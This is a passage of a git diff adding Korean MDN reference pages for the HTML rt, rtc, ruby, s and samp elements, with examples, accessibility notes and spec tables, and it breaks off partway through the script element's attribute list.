+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>바로 뒤따르는 요소가 {{htmlelement("rp")}}, 다른 <code>&lt;rt&gt;</code> 요소거나 자신이 부모의 마지막 요소라면 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{htmlelement("ruby")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 {{htmlelement("ruby")}} 요소를 사용해 한자의 발음을 표기합니다.</p>
+
+<div id="with-ruby">
+<pre class="brush: html">&lt;ruby&gt;
+  漢 &lt;rt&gt;한&lt;/rt&gt;
+  字 &lt;rt&gt;자&lt;/rt&gt;
+&lt;/ruby&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("with-ruby", 600, 60)}}</p>
+
+<p>브라우저가 루비를 지원하지 않는 경우엔 다음처럼 보일 것입니다.</p>
+
+<div id="without-ruby">
+<div class="hidden">
+<pre class="brush: html">漢 한 字 자</pre>
+
+<pre class="brush: css">body {
+  font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample("without-ruby", 600, 60)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-rt-element', '&lt;rt&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-rt-element', '&lt;rt&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.rt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/rtc/index.html b/files/ko/web/html/element/rtc/index.html
new file mode 100644
index 0000000000..9fd51a5c36
--- /dev/null
+++ b/files/ko/web/html/element/rtc/index.html
@@ -0,0 +1,121 @@
+---
+title: '<rtc>: 루비 텍스트 콘테이너 요소'
+slug: Web/HTML/Element/rtc
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/rtc
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;rtc&gt;</code> 요소</strong>는 {{htmlelement("rb")}} 요소가 표시하는 문자의 의미에 대한 주석을 나타냅니다.</span> <code>&lt;rb&gt;</code>는 발음({{htmlelement("rt")}})과 의미(<code>&lt;rtc&gt;</code>) 둘 다 가질 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/rtc.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a> 또는 {{htmlelement("rt")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>바로 뒤따르는 요소가 {{htmlelement("rb")}}, {{htmlelement("rt")}}, 다른 <code>&lt;rtc&gt;</code> 요소거나, 자신이 부모의 마지막 요소라면 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{htmlelement("ruby")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html highlight[8]">&lt;div class="info"&gt;
+  &lt;ruby&gt;
+    &lt;rbc&gt;
+      &lt;rb&gt;馬&lt;/rb&gt;&lt;rt&gt;마&lt;/rt&gt;
+      &lt;rb&gt;來&lt;/rb&gt;&lt;rt&gt;래&lt;/rt&gt;
+      &lt;rb&gt;西&lt;/rb&gt;&lt;rt&gt;서&lt;/rt&gt;
+      &lt;rb&gt;亞&lt;/rb&gt;&lt;rt&gt;아&lt;/rt&gt;
+    &lt;/rbc&gt;
+    &lt;rtc&gt;말레이시아&lt;/rtc&gt;
+  &lt;/ruby&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">.info {
+  padding-top: 10px;
+  font-size: 36px;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("예제", 600, 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5.2', 'textlevel-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'textlevel-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.rtc")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rbc")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/ruby/index.html b/files/ko/web/html/element/ruby/index.html
new file mode 100644
index 0000000000..7a8dffa036
--- /dev/null
+++ b/files/ko/web/html/element/ruby/index.html
@@ -0,0 +1,110 @@
+---
+title: <ruby>
+slug: Web/HTML/Element/ruby
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/ruby
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;ruby&gt;</code> 요소</strong>는 루비 주석을 나타냅니다. 루비 주석은 동아시아 문자의 발음을 표기할 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ruby.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="문자별_표기">문자별 표기</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+  漢 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Kan&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  字 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;ji&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<p>{{EmbedLiveSample("문자별_표기")}}</p>
+
+<h3 id="단어별_표기">단어별 표기</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+  明日 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Ashita&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<p>{{EmbedLiveSample("단어별_표기")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.ruby")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+ <li>{{HTMLElement("rbc")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/s/index.html b/files/ko/web/html/element/s/index.html
new file mode 100644
index 0000000000..8edc9424cc
--- /dev/null
+++ b/files/ko/web/html/element/s/index.html
@@ -0,0 +1,126 @@
+---
+title: <s>
+slug: Web/HTML/Element/s
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/s
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;s&gt;</code> 요소</strong>는 글자에 취소선, 즉 글자를 가로지르는 선을 그립니다.</span> <code>&lt;s&gt;</code> 요소를 사용해 이제 관계 없거나 더 이상 정확하지 않은 부분을 나타내세요. 그러나, <code>&lt;s&gt;</code>는 문서의 편집 기록을 나타내는 용도로는 적합하지 않습니다. 상황에 따라 {{HTMLElement("del")}}과 {{HTMLElement("ins")}} 요소를 대신 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/s.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 요소</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;s&gt;Today's Special: Salmon&lt;/s&gt; SOLD OUT&lt;br&gt;
+</pre>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>대부분의 스크린 리더는 기본값에서 <code>&lt;s&gt;</code> 요소의 존재를 표현하지 않습니다. 그러나 CSS {{cssxref("content")}} 속성과 {{cssxref("::before")}}, {{cssxref("::after")}} 의사 요소를 사용하면 소리내어 읽도록 할 수 있습니다.</p>
+
+<pre class="brush: css">s::before,
+s::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+s::before {
+  content: " [취소선 시작] ";
+}
+
+s::after {
+  content: " [취소선 끝] ";
+}
+</pre>
+
+<p>스크린 리더 사용자 일부는 지나치게 자세한 안내를 유발할 수 있는 콘텐츠의 표현을 의도적으로 꺼놓습니다. 그러므로 이 방식을 남용해선 안되며, 콘텐츠의 이해에 취소선의 유무가 꼭 필요할 때만 사용해야 합니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Short note on making your mark (more accessible) | The Paciello Group</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html">Tweaking Text Level Styles | Adrian Roselli</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','semantics.html#the-s-element','s element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','textlevel-semantics.html#the-s-element','s element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.s")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>자료가 <strong>삭제</strong>된 경우 사용하는 {{HTMLElement("del")}} 요소.</li>
+ <li><code>&lt;s&gt;</code> 요소의 시각적 요소를 재현할 수 있는 CSS {{cssxref("text-decoration-line")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/html/element/samp/index.html b/files/ko/web/html/element/samp/index.html
new file mode 100644
index 0000000000..44c10296f9
--- /dev/null
+++ b/files/ko/web/html/element/samp/index.html
@@ -0,0 +1,156 @@
+---
+title: '<samp>: 출력 예시 요소'
+slug: Web/HTML/Element/samp
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/samp
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;samp&gt;</code> 요소</strong>는 컴퓨터 프로그램 출력의 예시(혹은 인용문)를 나타냅니다.</span> 보통 브라우저의 기본 고정폭 글씨체(보통 Courier, Lucida Console)를 사용해 렌더링합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/samp.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>브라우저가 <code>&lt;samp&gt;</code> 요소에 사용하는 기본 글씨체는 CSS를 사용해 바꿀 수 있습니다. 그러나 브라우저의 사용자 설정값이 모든 CSS보다 우선할 수도 있습니다.</p>
+
+<p>기본 글씨체를 덮어쓸 수 있는 CSS는 다음과 같은 형태입니다.</p>
+
+<pre class="brush: css">samp {
+  font-family: "Courier";
+}</pre>
+
+<div class="note">
+<p><strong>참고:</strong> 웹사이트나 앱의 JavaScript 코드 출력을 담을 컨테이너 요소가 필요하다면 {{HTMLElement("output")}} 요소를 사용해야 합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>다음 간단한 예제는 문단이 프로그램 출력 예시를 포함하고 있습니다.</p>
+
+<pre class="brush: html">&lt;p&gt;프로세스가 완료되면 유틸리티가 &lt;samp&gt;Scan complete. Found &lt;em&gt;N&lt;/em&gt; results.&lt;/samp&gt;
+를 출력합니다. 출력을 확인한 후 다음 단계로 진행하세요.&lt;/p&gt;</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("기본_예제", 650, 100)}}</p>
+
+<h3 id="사용자_입력을_포함한_출력_예시">사용자 입력을 포함한 출력 예시</h3>
+
+<p><code>&lt;samp&gt;</code> 블록 안에 {{htmlelement("kbd")}} 요소를 중첩해서 사용자가 입력하는 텍스트 예제를 나타낼 수 있습니다. 다음 예제 코드는 Linux 또는 macOS 콘솔 세션의 텍스트 복사본을 나타냅니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;pre&gt;
+&lt;samp&gt;&lt;span class="prompt"&gt;mike@interwebz:~$&lt;/span&gt; &lt;kbd&gt;md5 -s "Hello world"&lt;/kbd&gt;
+MD5 ("Hello world") = 3e25960a79dbc69b674cd4ec67a72c62
+
+&lt;span class="prompt"&gt;mike@interwebz:~$&lt;/span&gt; &lt;span class="cursor"&gt;█&lt;/span&gt;&lt;/samp&gt;&lt;/pre&gt;</pre>
+
+<p>{{HTMLElement("span")}}을 사용해 셸 프롬프트, 콘솔 커서 등 예제 텍스트의 특정 부분에 다른 스타일을 적용했습니다. 또, <code>&lt;kbd&gt;</code>를 사용해 사용자가 입력한 텍스트를 나타내고 있습니다.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<p>원하는 외형을 얻을 수 있는 CSS는 다음과 같습니다.</p>
+
+<pre class="brush: css">.prompt {
+  color: #b00;
+}
+
+samp &gt; kbd {
+  font-weight: bold;
+}
+
+.cursor {
+  color: #00b;
+}</pre>
+
+<p>프롬프트와 커서에 강렬하지 않은 색을 입히고, 예제 텍스트의 입력 부분을 굵게 하는 단순한 코드입니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("사용자_입력을_포함한_출력_예시", 650, 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-samp-element', '&lt;samp&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-samp-element', '&lt;samp&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;samp&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.samp")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 요소: {{HTMLElement("kbd")}}, {{HTMLElement("code")}}, {{HTMLElement("pre")}}</li>
+ <li>스크립트로 생성한 출력을 담는 {{HTMLElement("output")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/script/index.html b/files/ko/web/html/element/script/index.html
new file mode 100644
index 0000000000..15c1b924b4
--- /dev/null
+++ b/files/ko/web/html/element/script/index.html
@@ -0,0 +1,220 @@
+---
+title: '<script>: 스크립트 요소'
+slug: Web/HTML/Element/script
+tags:
+  - Element
+  - HTML
+  - HTML scripting
+  - 'HTML:Flow content'
+  - 'HTML:Metadata content'
+  - 'HTML:Phrasing content'
+  - 'HTML:Script-supporting element'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/script
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;script&gt;</code> 요소</strong>는 데이터와 실행 가능한 코드를 문서에 포함할 때 사용하며 보통 JavaScript 코드와 함께 씁니다.</span> <a href="/ko/docs/Web/API/WebGL_API">WebGL</a>의 GLSL 셰이더 프로그래밍 언어, <a href="/ko/docs/Glossary/JSON">JSON</a> 등 다른 언어와도 사용할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#메타데이터_콘텐츠">메타데이터 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><code>text/javascript</code>와 같은 동적 스크립트.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#메타데이터_콘텐츠">메타데이터 콘텐츠</a> 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용한 아무 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLScriptElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("async")}}</dt>
+ <dd>
+ <p>일반 스크립트에 <code>async</code> 속성이 존재하면 HTML 구문 분석 중에도 스크립트를 가져오며, 사용 가능해지는 즉시 평가를 수행합니다.</p>
+
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Modules">모듈 스크립트</a>에 <code>async</code> 속성이 존재하면 모듈 스크립트와 모든 의존 스크립트를 지연 큐에서 실행하므로 함께 병렬로 불러오며, 이와 동시에 구문 분석을 수행하고 사용 가능해지는 즉시 평가합니다.</p>
+
+ <p>기존 방식은 브라우저가 HTML 분석을 계속하기 전에 스크립트를 불러오고 평가했어야 하므로, <code>async</code> 속성을 사용하면 <strong>분석기를 멈추는 JavaScript</strong>를 제거할 수 있습니다. <code>defer</code>도 비슷한 효력을 냅니다.</p>
+
+ <p><code>async</code>는 불리언 속성입니다. 속성이 존재하면 참을 나타내고, 속성이 존재하지 않으면 거짓을 나타냅니다.</p>
+
+ <p>{{anch("브라우저 호환성")}}을 참고하세요.</p>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>일반 <code>script</code> 요소는 표준 {{glossary("CORS")}}를 통과하지 못했을 때 {{domxref('GlobalEventHandlers.onerror', 'window.onerror')}}에 최소한의 정보만 넘깁니다. <code>crossorigin</code> 속성은 정적 미디어에 대해 별도의 도메인을 사용하는 사이트의 오류 기록을 허용하기 위해 사용할 수 있습니다. 유효한 인수에 대한 보다 자세한 설명은 <a href="/ko/docs/Web/HTML/Attributes/crossorigin">CORS 설정 속</a>성 문서를 참고하세요.</dd>
+ <dt>{{htmlattrdef("defer")}}</dt>
+ <dd>
+ <p>브라우저가 스크립트를 문서 분석 이후에, 그러나 {{event("DOMContentLoaded")}} 발생 이전에 실행해야 함을 나타내는 불리언 속성입니다.</p>
+
+ <p><code>defer</code> 속성을 가진 스크립트는 자신의 평가가 끝나기 전까지 <code>DOMContentLoaded</code> 이벤트의 발생을 막습니다.</p>
+
+ <div class="warning">
+ <p><code>src</code> 속성이 존재하지 않을 때(인라인 스크립트인 경우 등)에는 아무런 효과도 없으므로 사용해서는 안됩니다.</p>
+
+ <p>또한 <a href="/ko/docs/Web/JavaScript/Guide/Modules">모듈 스크립트</a>는 기본적으로 지연 평가하므로, <code>defer</code>를 지정해도 변화가 없습니다.</p>
+ </div>
+
+ <p><code>defer</code> 속성을 가진 스크립트는 문서상의 순서를 따라 실행됩니다.</p>
+
+ <p>기존 방식은 브라우저가 HTML 분석을 계속하기 전에 스크립트를 불러오고 평가했어야 하므로, <code>defer</code> 속성을 사용하면 <strong>분석기를 멈추는 JavaScript</strong>를 제거할 수 있습니다. <code>async</code>도 비슷한 효과를 가집니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("integrity")}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 가져온 리소스에 예기치 못한 변형이 존재하는지 검사할 때 사용할 인라인 메타데이터입니다. <a href="/ko/docs/Web/Security/Subresource_Integrity">하위 리소스 무결성</a> 문서를 참고하세요.</dd>
+ <dt>{{htmlattrdef("nomodule")}}</dt>
